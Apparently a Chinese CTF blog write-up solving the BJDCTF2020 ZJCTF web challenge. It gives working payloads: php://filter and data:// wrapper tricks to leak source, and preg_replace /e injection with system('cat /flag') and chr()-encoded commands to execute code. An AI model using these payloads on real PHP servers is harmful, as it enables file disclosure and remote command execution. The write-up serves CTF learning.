BUU [BJDCTF2020]ZJCTF,不过如此

简介: BUU [BJDCTF2020]ZJCTF,不过如此

BUU [BJDCTF2020]ZJCTF,不过如此

和BUU [ZJCTF 2019]NiZhuanSiWei一样。

?text=data://text/plain,I have a dream
&file=php://filter/read=convert.base64-encode/resource=next.php

得到next.php源码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
  @eval($_GET['cmd']);
}

最终目的是调用getFlag()然后命令执行。

get和session两个值一样的,名字为id的变量,没什么用,估计是用来混淆不知道的那些人。

preg_replace()的/e模式存在命令执行。

深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

最终payload:

?text=data://text/plain,I have a dream&file=next.php&
+
\S*=${getFlag()}&cmd=system('cat /flag');
\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
//chr拼接system的参数
\S*=${phpinfo()}可查看phpinfo()

目录
相关文章
|
Linux
BUU [安洵杯 2019]easy_web
BUU [安洵杯 2019]easy_web
244 0
|
PHP 数据安全/隐私保护
[SUCTF 2019]EasyWeb
[SUCTF 2019]EasyWeb
305 0
|
算法 Serverless 知识图谱
0基础理解ECC并做题-攻防世界easy-ECC理解
0基础理解ECC并做题-攻防世界easy-ECC理解
|
7月前
|
监控 安全 Shell
无字母数字webshell的命令执行
无字母数字WebShell是一种利用PHP等语言灵活特性的攻击手段,攻击者通过字符转换和编码技术绕过安全机制,执行恶意命令。然而,通过合理的防御措施,如禁用危险函数、使用WAF等,可以有效减少这种攻击带来的风险。在实践中,系统管理员应结合多种手段,提高服务器的安全性。
110 18
|
PHP
BUU [安洵杯 2019]easy_serialize_php
BUU [安洵杯 2019]easy_serialize_php
166 0
|
数据安全/隐私保护
攻防世界web-----easyupload
攻防世界web-----easyupload
|
9月前
|
SQL 安全 关系型数据库
MySQL UDF提权
通过这些内容的详细介绍和实际案例分析,希望能帮助您深入理解MySQL UDF提权的机制、实现步骤及防范措施,提高系统的安全性和防护能力。
589 11
|
网络协议 安全 Ubuntu
PWN练习---Stack_1
PWN练习---Stack_1
318 3
|
安全 Shell PHP
escapeshellarg() 和 escapeshellcmd()
escapeshellarg() 和 escapeshellcmd()
|
SQL Python
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
1032 0
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解